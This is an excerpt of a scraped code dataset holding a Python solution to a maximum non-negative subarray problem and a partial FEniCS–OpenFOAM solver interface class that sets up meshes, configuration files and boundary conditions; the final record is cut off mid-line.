j)","repo_name":"Stenvold-Matthew/CS333_Final_Project","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22800129955","text":"# Problem Description\n# Given an array of integers A, of size N.\n#\n# Return the maximum size subarray of A having only non-negative elements. If there are more than one such subarray,\n# return the one having the smallest starting index in A.\n#\n# NOTE: It is guaranteed that an answer always exists.\n#\n#\n#\n# Problem Constraints\n# 1 <= N <= 105\n#\n# -109 <= A[i] <= 109\n#\n#\n#\n# Input Format\n# The first and only argument given is the integer array A.\n#\n#\n#\n# Output Format Return maximum size subarray of A having only non-negative elements. If there are more than one such\n# subarrays, return the one having earliest starting index in A.\n#\n#\n#\n# Example Input\n# Input 1:\n#\n# A = [5, 6, -1, 7, 8]\n# Input 2:\n#\n# A = [1, 2, 3, 4, 5, 6]\n#\n#\n# Example Output\n# Output 1:\n#\n# [5, 6]\n# Output 2:\n#\n# [1, 2, 3, 4, 5, 6]\n#\n#\n# Example Explanation\n# Explanation 1:\n#\n# There are two sub-arrays of size 2 having only non-negative elements.\n# 1. [5, 6] starting point = 0\n# 2. [7, 8] starting point = 3\n# As starting point of 1 is smaller, return [5, 6]\n# Explanation 2:\n#\n# There is only one sub-array of size 6 having only non-negative elements:\n# [1, 2, 3, 4, 5, 6]\nclass Solution:\n # @param A : list of integers\n # @return a list of integers\n def solve(self, A):\n n = len(A)\n s = 0\n e = 0\n s_index = 0 # for temporarily storing start index\n max_len = -1 # to check on maximum length\n for i in range(n):\n element = A[i]\n if element < 0:\n s_index = i + 1\n if element >= 0 and s_index <= i:\n temp_len = i - s_index + 1\n if max_len < temp_len:\n max_len = temp_len\n s = s_index # storing final start and end\n e = i\n return A[s:e + 1]\n\n# Approach Followed:-\n#\n# For all elements in array :-\n#\n# 1.If ith element is negative, we need to ignore it and go on next element\n#\n# 2. If ith element is non-negative, we will start a second while loop from this position until a negative element\n# arrives. a.If size of subarray received using this is greater than size of previous such arrays, then update the\n# answer b. else ignore it.\n","repo_name":"Abhilash-du/daily-coding-challenges","sub_path":"DataStructures/Arrays_and_Maths/MaximumPositivity.py","file_name":"MaximumPositivity.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70487093352","text":"import numpy as np\n\n############################# Project libraries ################################\n\n# FoamSolver\nfrom .FoamSolver import FoamSolver\n\n# Mesh\nfrom ..mesh.createMeshFromFEniCS import createMeshFromFEniCS\n\n# I/O (Input/Output)\nfrom ..io.FoamWriter import FoamWriter\nfrom ..io.FoamReader import FoamReader\n\n# Utilities\nfrom ..utils import utils\n\n# FEniCS utilities\nfrom ..utils import utils_fenics\n\n# FEniCS+MPI utilities\nfrom ..utils import utils_fenics_mpi\n\n############################### FEniCS libraries ###############################\n\n# FEniCS\ntry:\n\tfrom fenics import *\n\t # Do not import dolfin-adjoint here. This is a non-annotated module!\nexcept:\n\tutils.printDebug(\" ❌ FEniCS not installed! Can't use FEniCSFoamSolver!\")\n\n############################# FEniCSFoamSolver #################################\n\nclass FEniCSFoamSolver():\n\t\"\"\"\n\tSolver structure for interfacing OpenFOAM with FEniCS.\n\t* All functions here should contain the decorator \"@utils_fenics.no_annotations()\"\n\t to guarantee that, if we are using dolfin-adjoint, no annotations will\n\t be performed. This decorator corresponds to the \"no_annotations\" decorator\n\t of dolfin-adjoint when you have dolfin-adjoint installed; otherwise, it\n\t does nothing.\n\t\"\"\"\n\n\t@utils_fenics.no_annotations()\n\tdef __init__(self, \n\t\tmesh, boundary_data, \t\t\t# FEniCS mesh and boundary data\n\t\tparameters, \t\t\t\t# FoamSolver parameters\n\t\tproperties_dictionary,\t\t\t# OpenFOAM properties set inside a dictionary\n\t\tconfigurations_dictionary,\t\t# OpenFOAM configurations set inside a dictionary\n\n\t\t# Mesh\n\t\tuse_mesh_from_foam_solver = False, \t# Choose this as True ONLY if you already have the mesh defined in the OpenFOAM format\n\n\t\t# Problem setup\n\t\tcreate_all_problem_setup = True,\t# Choose this as False ONLY if you want to reuse files that are already in the OpenFOAM folder structure\n\t\taction_to_do_to_create_all_problem_setup = 'remove only the initial guess folder and overwrite whatever needed', # Choose what you want to do in case the problem folder already exists\n\t\t\t# 'overwrite whatever needed'\n\t\t\t# 'remove only the initial guess folder and overwrite whatever needed'\n\t\t\t# 'remove previous problem folder'\n\t\t\t# 'remove all previous files'\n\t\t\t# 'rename previous problem'\n\n\t\t# Mapping\n\t\ttol_factor_for_mapping_FEniCS_and_OpenFOAM = 0.005, # Tolerance factor for matching FEniCS and OpenFOAM\n\n\t\t# Projection setup\n\t\tprojection_setup = {}, \n\n\t\t# Write precision in the Python code\n\t\tpython_write_precision = 6,\n\n\t\t# Configuration for measurement units\n\t\tconfiguration_of_openfoam_measurement_units = {\n\t\t\t'pressure' : 'rho-normalized pressure',\n\t\t\t\t\t# * It is assumed that FEniCS always uses \"Pa\".\n\t\t\t\t\t# * Remember: This configuration should match the OpenFOAM solver that you are using!\n\t\t\t\t# 'rho-normalized pressure' = Pressure unit is converted from \"Pa\" to \"Pa/(kg/m³)\" for OpenFOAM. Used in incompressible solvers, such as \"simpleFoam\", \"SRFSimpleFoam\" etc.\n\t\t\t\t# 'pressure' = Pressure unit is \"Pa\" for OpenFOAM. Used in compressible solvers, such as \"rhoSimpleFoam\", \"rhoPimpleFoam\" etc.\n\t\t},\n\n\t\t# Additional measurement units\n\t\tadditional_measurement_units = {},\n\n\t\t# Minimum value for the projected turbulence variables\n\t\tmin_value_projected_turbulence_variables = 1.E-14\n\t\t):\n\n\t\tutils.customPrint(\"\\n 🌊 Creating FEniCSFoamSolver...\", mpi_wait_for_everyone = True)\n\n\t\t# Dictionary of measurement units\n\t\tself.dictionary_measurement_units = {\n\n\t\t\t# Velocity\n\t\t\t'U' : \t\t'velocity',\n\n\t\t\t# Relative velocity\n\t\t\t'Urel' : \t'velocity',\n\n\t\t\t# Other velocities\n\t\t\t'U_*' : \t'velocity',\n\n\t\t\t# Pressure\n\t\t\t'p' : \t\t'rho-normalized pressure',\n\n\t\t\t# Temperature\n\t\t\t'T' : \t\t'temperature',\n\n\t\t\t# Kinematic viscosity\n\t\t\t'nu' : \t\t'kinematic viscosity', \n\n\t\t\t# Design variable\n\t\t\t'alpha_design' : 'dimensionless',\n\n\t\t\t# Turbulent variables\n\t\t\t'k' : \t\t'specific turbulent kinetic energy', \t\t\t\t\t# k-epsilon, k-omega models\n\t\t\t'epsilon' : \t'specific rate of dissipation of turbulent kinetic energy', \t\t# k-epsilon model\n\t\t\t'omega' : \t'specific frequency of dissipation of turbulent kinetic energy', \t# k-omega model\n\n\t\t\t'nuTilda' : \t'kinematic viscosity', # Spalart-Allmaras model\n\n\t\t\t'v2' : \t\t'fluctuating velocity normal to the streamlines', \t# v2-f model\n\t\t\t'f' : \t\t'relaxation function', \t\t\t\t\t# v2-f model\n\n\t\t\t# Turbulent kinematic viscosity\n\t\t\t'nut' : \t\t'kinematic viscosity', \n\n\t\t\t# Thermal diffusivity multiplied by the density\n\t\t\t'alphat' : \t\t'thermal diffusivity multiplied by the density',\n\n\t\t\t# Some more unit specifications\n\t\t\t'yWall_to_load' : \t'length',\n\t\t\t'nWall_to_load' : \t'dimensionless',\n\n\t\t}\n\t\tif configuration_of_openfoam_measurement_units['pressure'] == 'rho-normalized pressure':\n\t\t\tself.dictionary_measurement_units['p'] = 'rho-normalized pressure'\n\t\telif configuration_of_openfoam_measurement_units['pressure'] == 'pressure':\n\t\t\tself.dictionary_measurement_units['p'] = 'pressure'\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: configuration_of_openfoam_measurement_units['compressibility'] == '%s' is not defined!\" %(configuration_of_openfoam_measurement_units['compressibility']))\n\n\t\tif len(additional_measurement_units) > 0:\n\t\t\tself.dictionary_measurement_units.update(additional_measurement_units)\n\n\t\t# Minimum value for the projected turbulence variables\n\t\tself.min_value_projected_turbulence_variables = min_value_projected_turbulence_variables\n\n\t\t# Problem folder\n\t\tproblem_folder = parameters['problem_folder']\n\t\tself.problem_folder = problem_folder\n\n\t\t# Tolerance factor for matching FEniCS and OpenFOAM\n\t\tself.tol_factor_for_mapping_FEniCS_and_OpenFOAM = tol_factor_for_mapping_FEniCS_and_OpenFOAM \n\n\t\t# Projection setup\n\t\t # Set how you would like the internal FEniCS projections to operate.\n\t\tself.projection_setup = {\n\t\t\t'solver_type' : 'default',\n\t\t\t'preconditioner_type' : 'default',\n\t\t\t'form_compiler_parameters' : {\n\t\t\t\t'type_of_quadrature_degree' : 'auto',\n\t\t\t},\n\t\t}\n\t\tself.projection_setup.update(projection_setup)\n\n\t\t# Create all problem setup\n\t\tif create_all_problem_setup == True:\n\t\t\tif action_to_do_to_create_all_problem_setup == 'overwrite whatever needed':\n\t\t\t\tpass\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'remove only the initial guess folder and overwrite whatever needed':\n\n\t\t\t\tif utils.checkIfFileExists(self.problem_folder) == True:\n\t\t\t\t\tsorted_number_folders = utils.findFoamVariableFolders(self.problem_folder)\n\t\t\t\t\tif len(sorted_number_folders) > 0:\n\t\t\t\t\t\tfirst_time_step_name = sorted_number_folders[0]\n\t\t\t\t\t\tutils.removeFolderIfItExists(\"%s/%s\" %(self.problem_folder, first_time_step_name))\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'remove previous problem folder':\n\t\t\t\tutils.removeFolderIfItExists(self.problem_folder)\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'remove all previous files':\n\t\t\t\tutils.removeFilesInFolderAndSubfoldersIfItExists(self.problem_folder)\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'rename previous problem':\n\t\t\t\tutils.renameFolderIfItExists(self.problem_folder, new_name_type = 'bak')\n\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: action_to_do_to_create_all_problem_setup == '%s' is not defined!\" %(action_to_do_to_create_all_problem_setup))\n\n\t\t# Location of the solver\n\n\t\t# Some default setup\n\t\tparameters.setdefault('solver', {})\n\t\tparameters['solver'].setdefault('type', 'openfoam')\n\n\t\tif parameters['solver']['type'] == 'openfoam':\n\n\t\t\t# Some default setup\n\t\t\tparameters['solver'].setdefault('openfoam', {})\n\t\t\tparameters['solver']['openfoam'].setdefault('name', 'simpleFoam')\n\n\t\t\t# Location of the OpenFOAM solver\n\t\t\tself.location_solver = utils.getOpenFOAMSolverLocation(parameters['solver']['openfoam']['name'])\n\n\t\telif parameters['solver']['type'] == 'custom':\n\n\t\t\tif ('custom' not in parameters['solver']) or ('name' not in parameters['solver']['custom']) or ('location' not in parameters['solver']['custom']):\n\t\t\t\traise ValueError(\"\"\" ❌ ERROR: Forgot to set the custom solver? Its name should be defined in parameters['solver']['custom']['name'] (<-> name of the solver that can be called in the OpenFOAM environment), together with its location in parameters['solver']['custom']['location'] (<-> path to its source files)!\n\nThe solver can be set in any of the two options below:\n\n1) For a solver that you have programmed:\n - parameters['solver']['type'] = 'custom'\n - parameters['solver']['custom']['name'] = ??? (<-> name of the solver that can be called in the OpenFOAM environment)\n - parameters['solver']['custom']['location'] = ??? (<-> path to its source files)\nand set by parameters['compile_modules_if_needed'] as: True (i.e., compile whenever needed, such as in the situations where it is still not compiled, or the source files are newer than the compilation) or False (i.e., do not compile whenever needed -- If the solver still has not been compiled or it is outdated with respect to the source files, you will have to compile it externally). It can also be highlighted that parameters['compile_modules_if_needed'] is applied to any OpenFOAM C++ modules/libraries that are included in FEniCS TopOpt Foam.\n\n2) If you use the setup below, you simply won't have the option parameters['compile_modules_if_needed'] applied to the solver. In essence, that's the only difference with respect to the 'custom' option.\n - parameters['solver']['type'] = 'openfoam'\n - parameters['solver']['openfoam']['name'] = ??? (<-> name of the solver that can be called in the OpenFOAM environment)\n\n\"\"\")\n\n\t\t\t# Location of the custom solver\n\t\t\tself.location_solver = \"%s/%s\" % (parameters['solver']['custom']['location'], parameters['solver']['custom']['name'])\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: parameters['solver']['type'] == '%s' is not defined!\" %(parameters['solver']['type']))\n\n\t\t# Domain type\n\n\t\t# Some default setup\n\t\tparameters.setdefault('domain type', '2D')\n\n\t\tdomain_type = parameters['domain type']\n\t\tself.domain_type = domain_type\n\n\t\t# Create the OpenFOAM mesh from the FEniCS mesh\n\t\tif use_mesh_from_foam_solver == False:\n\t\t\tcreateMeshFromFEniCS(mesh, boundary_data, problem_folder, domain_type = domain_type, python_write_precision = python_write_precision)\n\t\t\tparameters.setdefault('mesh', {})\n\t\t\tparameters['mesh']['type'] = 'OpenFOAM mesh' # Set FoamSolver to load the mesh that was prepared above\n\n\t\t# Check if configurations_dictionary is probably OK\n\t\tassert 'controlDict' in configurations_dictionary, \" ❌ ERROR: Forgot to define 'controlDict'.\"\n\t\tassert 'fvSchemes' in configurations_dictionary, \" ❌ ERROR: Forgot to define 'fvSchemes'.\"\n\t\tassert 'fvSolution' in configurations_dictionary, \" ❌ ERROR: Forgot to define 'fvSolution'.\"\n\t\tconfigurations_dictionary['controlDict'].setdefault('writeFormat', 'ascii')\n\t\tassert configurations_dictionary['controlDict']['writeFormat'] == 'ascii', \" ❌ ERROR: This code requires that configurations_dictionary['controlDict']['writeFormat'] == 'ascii'. Please change '%s' to 'ascii'\" %(configurations_dictionary['controlDict']['writeFormat'])\n\n\t\t# Create the problem folders\n\t\tif create_all_problem_setup == True:\n\t\t\tself._createInitialFiles(properties_dictionary, configurations_dictionary, python_write_precision = python_write_precision)\n\t\t\n\t\t# Wait for everyone!\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\tutils_fenics_mpi.waitProcessors()\n\n\t\t#### Optimize the mesh for OpenFOAM\n\n\t\tself.optimizeMeshForOpenFOAM()\n\n\t\t#### Set FoamSolver\n\n\t\t# FEniCS mesh\n\t\tself.mesh = mesh\n\n\t\t# Create the FoamSolver\n\t\tself.foam_solver = FoamSolver(parameters = parameters, python_write_precision = python_write_precision)\n\n\t\t# Prepare for editing in step 0\n\t\tself.foam_solver.prepareForEditing(time_step_name = '0')\n\n\t\t# Workaround for having all the configurations available in self.foam_solver,\n\t\t # because FoamReader can't read configurations yet\n\t\tif create_all_problem_setup == True:\n\t\t\tfor i in range(len(self.foam_solver.foam_configurations)):\n\t\t\t\tconfiguration_name = self.foam_solver.foam_configurations[i].name\n\n\t\t\t\tif configuration_name in self.configuration_workaround_while_FoamReader_cant_read_configurations:\n\t\t\t\t\tconfiguration_data = self.configuration_workaround_while_FoamReader_cant_read_configurations[configuration_name]\n\t\t\t\t\tself.foam_solver.foam_configurations[i].reloadData(configuration_data, configuration_name, set_foam_file_info = True)\n\t\t\t\t\t# self.foam_solver.foam_configurations[i].set_to_apply_changes('insert') # Not doing this, because WE KNOW that the configurations are the same of the files\n\n\t\t\t\t\t# If the 'decomposeParDict' has been defined, it is assumed that we want to run the code in parallel\n\t\t\t\t\tif configuration_name == 'decomposeParDict':\n\t\t\t\t\t\tself.foam_solver.setToRunInParallel(configuration_data, set_new_data = False)\n\n\t\t# Prepare FunctionSpaces and maps\n\t\tself.prepareFunctionSpacesAndMaps()\n\n\t\t# FoamVectors\n\t\tfoam_vectors = self.foam_solver.getFoamVectors()\n\n\t\t# Dictionary of variables\n\t\tself.variable_dictionary = {}\n\t\tfor i in range(len(foam_vectors)):\n\t\t\tfoam_vector = foam_vectors[i]\n\t\t\tself.variable_dictionary[foam_vector.name] = {\n\t\t\t\t'FoamVector' : foam_vector,\n\t\t\t\t'FEniCS Function' : None,\n\t\t\t}\n\n\t\t# Additional properties\n\t\tself.additional_properties = {}\n\n\t####################### optimizeMeshForOpenFOAM ########################\n\n\t@utils_fenics.no_annotations()\n\tdef optimizeMeshForOpenFOAM(self, problem_folder = \"\"):\n\t\t\"\"\"\n\t\tOptimize the mesh for OpenFOAM.\n\t\t\"\"\"\n\n\t\tif problem_folder == \"\":\n\t\t\tproblem_folder = self.problem_folder\n\n\t\t# Wait for everyone!\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\tutils_fenics_mpi.waitProcessors()\n\n\t\t#### Optimize the mesh for OpenFOAM\n\t\tif utils_fenics_mpi.runningInSerialOrFirstProcessor():\n\n\t\t\twith utils_fenics_mpi.first_processor_lock():\n\n\t\t\t\t# Some OpenFOAM post-processing utilities assume that, inside the 'constant'\n\t\t\t\t # folder, the only folders that are present are folders containing the mesh. This means that\n\t\t\t\t # we can not leave a backup of the mesh inside the 'constant' folder. Below, we are copying it\n\t\t\t\t # to '[problem_folder]/bak_polyMesh_orig'\n\t\t\t\tutils.customPrint(\"\\n 🌀 Creating a copy of the current state of the OpenFOAM mesh to %s/bak_polyMesh_orig...\" %(problem_folder))\n\t\t\t\tutils.run_command_in_shell(\"/bin/cp -pr %s/constant/polyMesh %s/bak_polyMesh_orig\" %(problem_folder, problem_folder), mode = 'print directly to terminal', include_delimiters_for_print_to_terminal = False, indent_print = True)\n\n\t\t\t\t# Reorder the cells in a way that it is more optimized for OpenFOAM to access it (* Renumber the cell list in order to reduce the bandwidth, reading and renumbering all fields from all the time directories. )\n\t\t\t\t # https://cfd.direct/openfoam/user-guide/v7-mesh-description/\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam/95858-owner-neighbor.html\n\t\t\t\t # (\"Finite Volume Method A Crash introduction - Wolf Dynamics\", p. 92)\n\t\t\t\t # \"speed-up\" (\"Finite Volume Method A Crash introduction - Wolf Dynamics\", p. 101)\n\t\t\t\t # https://www.openfoam.com/documentation/guides/latest/doc/tutorial-pimplefoam-ami-rotating-fan.html\n\t\t\t\tutils.customPrint(\"\\n 🌀 Restructuring the mesh for better calculation performance... (i.e., optimize the order of the cells in the OpenFOAM mesh)\")\n\t\t\t\tutils.run_command_in_shell(\"renumberMesh -case %s -overwrite\" %(problem_folder), mode = 'print directly to terminal', indent_print = True)\n\n\t\t\t\t# Check the mesh\n\t\t\t\tif utils.print_level == 'debug':\n\t\t\t\t\tutils.customPrint(\"\\n 🌀 Checking if the mesh has been created correctly...\")\n\t\t\t\t\tutils.run_command_in_shell(\"checkMesh -case %s -constant -time constant\" %(problem_folder), mode = 'print directly to terminal', indent_print = True)\n\n\t\t# Wait for everyone!\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\tutils_fenics_mpi.waitProcessors()\n\n\t######################### _createInitialFiles ##########################\n\n\t@utils_fenics.no_annotations()\n\tdef _createInitialFiles(self, properties_dictionary, configurations_dictionary, python_write_precision = 6):\n\t\t\"\"\"\n\t\tCreate initial files for OpenFOAM.\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Creating initial files for OpenFOAM...\")\n\n\t\t# FoamWriter\n\t\tfoam_writer = FoamWriter(self.problem_folder)\n\n\t\t# FoamReader\n\t\tfoam_reader = FoamReader(self.problem_folder)\n\n\t\t################################################################\n\t\t######################### Variables ############################\n\t\t################################################################\n\n\t\t##################### Folder structure #########################\n\n\t\tfoam_writer.create_folder_structure()\n\n\t\t################ Variable names from solver ####################\n\n\t\t# File with the variable definitions in the solver\n\t\tvariable_definition_file = \"%s/createFields.H\" %(self.location_solver)\n\n\t\t# Recognized variable types\n\t\tvariable_types = ['volScalarField', 'volVectorField']\n\n\t\t# Get all names of the MUST_READ variables of the above types\n\t\t(variable_names_from_solver, variable_types_from_solver) = utils.getMustReadVariableNamesFromSolverFile(variable_definition_file, variable_types, return_types = True)\n\n\t\tfoam_variables = []\n\t\tfor i in range(len(variable_names_from_solver)):\n\t\t\tfoam_variables += [{'name' : variable_names_from_solver[i], 'type' : variable_types_from_solver[i]}]\n\n\t\t# The only variables 'caught' here are the ones present in 'createFields.H'.\n\t\t # For any other dependent variable, such as turbulent variables, please use the 'fenics_foam_solver.initFoamVector' function to initialize them. (* Small observation: DO NOT use 'fenics_foam_solver._initFoamVectorFile', because it is meant to be an internal function.)\n\n\t\t#################### Boundary conditions #######################\n\t\t# Set some default values. The user should change them at a later part of the code!\n\n\t\tmesh_boundary_data = foam_reader.readMeshData('boundary')['boundary']\n\n\t\t# Initialize the necessary variables\n\t\ttime_step_name = '0'\n\t\tfor foam_variable in foam_variables:\n\n\t\t\tfoam_vector_name = foam_variable['name']\n\t\t\tfoam_vector_type = foam_variable['type']\n\n\t\t\t# Initialize the FoamVector file\n\t\t\tself._initFoamVectorFile(foam_vector_name, foam_vector_type, time_step_name = time_step_name, mesh_boundary_data = mesh_boundary_data, foam_writer = foam_writer)\n\n\t\t################################################################\n\t\t######################## Properties ############################\n\t\t################################################################\n\n\t\tfor property_file_name in properties_dictionary:\n\n\t\t\tdata_to_add = {}\n\n\t\t\t# FoamFile definition\n\t\t\tdata_to_add['FoamFile'] = {\n\t\t\t\t'version' : '2.0',\n\t\t\t\t'format' : 'ascii',\n\t\t\t\t'class' : 'dictionary',\n\t\t\t\t'location' : '\"constant\"',\n\t\t\t\t'object' : property_file_name,\n\t\t\t}\n\n\t\t\t# Add the properties\n\t\t\tfor key in properties_dictionary[property_file_name]:\n\t\t\t\tdata_to_add[key] = properties_dictionary[property_file_name][key]\n\n\t\t\t# Write the data to property file\n\t\t\tfoam_writer.writeDataToFile(\n\t\t\t\tdata_to_add = data_to_add, \n\t\t\t\tfile_to_use = \"%s/constant/%s\" % (self.problem_folder, property_file_name)\n\t\t\t)\n\n\t\t################################################################\n\t\t###################### Configurations ##########################\n\t\t################################################################\n\n\t\tassert 'controlDict' in configurations_dictionary\n\t\tassert 'fvSchemes' in configurations_dictionary\n\t\tassert 'fvSolution' in configurations_dictionary\n\t\t#assert 'fvOptions' in configurations_dictionary\n\n\t\t# Workaround for having all the configurations available in self.foam_solver,\n\t\t # because FoamReader can't read configurations yet\n\t\tself.configuration_workaround_while_FoamReader_cant_read_configurations = {}\n\n\t\tfor configuration_file_name in configurations_dictionary:\n\n\t\t\tdata_to_add = {}\n\n\t\t\t# FoamFile definition\n\t\t\tdata_to_add['FoamFile'] = {\n\t\t\t\t'version' : '2.0',\n\t\t\t\t'format' : 'ascii',\n\t\t\t\t'class' : 'dictionary',\n\t\t\t\t'location' : '\"system\"',\n\t\t\t\t'object' : configuration_file_name,\n\t\t\t}\n\n\t\t\t# Add the configurations\n\t\t\tfor key in configurations_dictionary[configuration_file_name]:\n\t\t\t\tdata_to_add[key] = configurations_dictionary[configuration_file_name][key]\n\n\t\t\t# Write the data to configuration file\n\t\t\tfoam_writer.writeDataToFile(\n\t\t\t\tdata_to_add = data_to_add, \n\t\t\t\tfile_to_use = \"%s/system/%s\" % (self.problem_folder, configuration_file_name)\n\t\t\t)\n\n\t\t\tself.configuration_workaround_while_FoamReader_cant_read_configurations[configuration_file_name] = data_to_add\n\n\t######################## getFoamVectorFromName #########################\n\n\tdef getFoamVectorFromName(self, foam_vector_name):\n\t\t\"\"\"\n\t\tGets a FoamVector from its name.\n\t\t\"\"\"\n\t\treturn self.variable_dictionary[foam_vector_name]['FoamVector']\n\n\t############################ initFoamVector ############################\n\n\tdef initFoamVector(self, foam_vector_name, foam_vector_type, time_step_name = '0', skip_if_exists = False):\n\t\t\"\"\"\n\t\tInitializes a new FoamVector (i.e., creates the file and the FoamVector object).\n\t\t-> Use this function if you want to include more variables for OpenFOAM to use.\n\t\t\"\"\"\n\n\t\tif foam_vector_name in self.variable_dictionary:\n\t\t\tif skip_if_exists == True:\n\t\t\t\tutils.customPrint(\" ❗ Skipping FoamVector '%s', which is already defined!...\" %(foam_vector_name))\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: FoamVector '%s' is already defined!\" %(foam_vector_name))\n\n\t\t# Initializes (i.e., creates) a FoamVector file\n\t\tself._initFoamVectorFile(foam_vector_name, foam_vector_type, time_step_name = time_step_name)\n\n\t\t# Prepares a new FoamVector from file\n\t\tself.foam_solver.prepareNewFoamVector(foam_vector_name, time_step_name = time_step_name)\n\n\t\t# New FoamVector\n\t\tnew_foam_vector = self.foam_solver.foam_vectors[len(self.foam_solver.foam_vectors) - 1]\n\n\t\t# Include in the dictionary of variables\n\t\tself.variable_dictionary[new_foam_vector.name] = {\n\t\t\t'FoamVector' : new_foam_vector,\n\t\t\t'FEniCS Function' : None,\n\t\t}\n\n\t######################### _initFoamVectorFile ##########################\n\n\tdef _initFoamVectorFile(self, foam_vector_name, foam_vector_type, time_step_name = '0', mesh_boundary_data = None, foam_writer = None):\n\t\t\"\"\"\n\t\tInitializes (i.e., creates) a FoamVector file.\n\t\t\"\"\"\n\n\t\t# FoamWriter\n\t\tif type(foam_writer).__name__ == 'NoneType':\n\t\t\tfoam_writer = self.foam_solver.foam_writer\n\n\t\t# Boundary data\n\t\tif type(mesh_boundary_data).__name__ == 'NoneType':\n\t\t\tmesh_boundary_data = self.foam_solver.foam_mesh.boundaries()\n\n\t\t# Boundary names\n\t\tboundary_names = list(mesh_boundary_data.keys())\n\n\t\t# Type check\n\t\tif foam_vector_type in ['volScalarField', 'volVectorField']:\n\t\t\tpass\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: foam_vector_type == '%s' is not defined!\" %(foam_vector_type))\n\n\t\tdata_to_add = {}\n\n\t\t# FoamFile definition\n\t\tdata_to_add['FoamFile'] = {\n\t\t\t'version' : '2.0',\n\t\t\t'format' : 'ascii',\n\t\t\t'class' : foam_vector_type,\n\t\t\t'location' : time_step_name,\n\t\t\t'object' : foam_vector_name,\n\t\t}\n\n\t\t# Dimensions\n\t\tdata_to_add['dimensions'] = self.getFoamMeasurementUnit(foam_vector_name)\n\n\t\t# Set uniform internal fields\n\t\t# Some dummy values to change later. Based on pitzDaily OpenFOAM example\n\t\tif foam_vector_name == 'k':\n\t\t\tdata_to_add['internalField'] = np.array([0.375], dtype = 'float')\n\n\t\telif foam_vector_name == 'epsilon':\n\t\t\tdata_to_add['internalField'] = np.array([14.855], dtype = 'float')\n\n\t\telif foam_vector_name == 'omega':\n\t\t\tdata_to_add['internalField'] = np.array([440.15], dtype = 'float')\n\n\t\telif foam_vector_name == 'v2':\n\t\t\tdata_to_add['internalField'] = np.array([0.25], dtype = 'float')\n\n\t\telse:\n\t\t\tif foam_vector_type == 'volScalarField':\n\t\t\t\tdata_to_add['internalField'] = np.array([0], dtype = 'float')\n\t\t\telif foam_vector_type == 'volVectorField':\n\t\t\t\tdata_to_add['internalField'] = np.array([0, 0, 0], dtype = 'float')\n\n\t\tdata_to_add['boundaryField'] = {}\n\t\tfor boundary_name in boundary_names:\n\n\t\t\tdata_to_add['boundaryField'][boundary_name] = {}\n\n\t\t\t########## Default boundary conditions ##########\n\t\t\t# Some dummy values to change later. Based on pitzDaily OpenFOAM example\n\t\t\t# * Just remember: 'frontAndBackSurfaces', 'frontSurface' and 'backSurface' are RESERVED names.\n\t\t\t# Do not use them anywhere else!\n\n\t\t\tif boundary_name == 'frontAndBackSurfaces':\n\n\t\t\t\t# Add the necessary boundary conditions that enable 2D or 2D axisymmetric simulation\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam-solving/60539-2d-axisymmetric-swirl.html\n\t\t\t\tif self.domain_type == '2D':\n\t\t\t\t\tdata_to_add['boundaryField']['frontAndBackSurfaces']['type'] = 'empty'\n\t\t\t\telif self.domain_type == '2D axisymmetric':\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\n\t\t\telif boundary_name == 'frontSurface':\n\n\t\t\t\t# Add the necessary boundary conditions that enable 2D or 2D axisymmetric simulation\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam-solving/60539-2d-axisymmetric-swirl.html\n\t\t\t\tif self.domain_type == '2D':\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\t\t\t\telif self.domain_type == '2D axisymmetric':\n\t\t\t\t\tdata_to_add['boundaryField']['frontSurface']['type'] = 'wedge'\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\n\t\t\telif boundary_name == 'backSurface':\n\n\t\t\t\t# Add the necessary boundary conditions that enable 2D or 2D axisymmetric simulation\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam-solving/60539-2d-axisymmetric-swirl.html\n\t\t\t\tif self.domain_type == '2D':\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\t\t\t\telif self.domain_type == '2D axisymmetric':\n\t\t\t\t\tdata_to_add['boundaryField']['backSurface']['type'] = 'wedge'\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\n\t\t\telse:\n\n\t\t\t\tif mesh_boundary_data[boundary_name]['type'] in ['cyclic', 'cyclicAMI', 'cyclicACMI']:\n\t\t\t\t\t# Set periodic ('cyclic', 'cyclicAMI', 'cyclicACMI') boundary condition\n\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = mesh_boundary_data[boundary_name]['type']\n\n\t\t\t\telse:\n\n\t\t\t\t\tif foam_vector_name == 'p':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 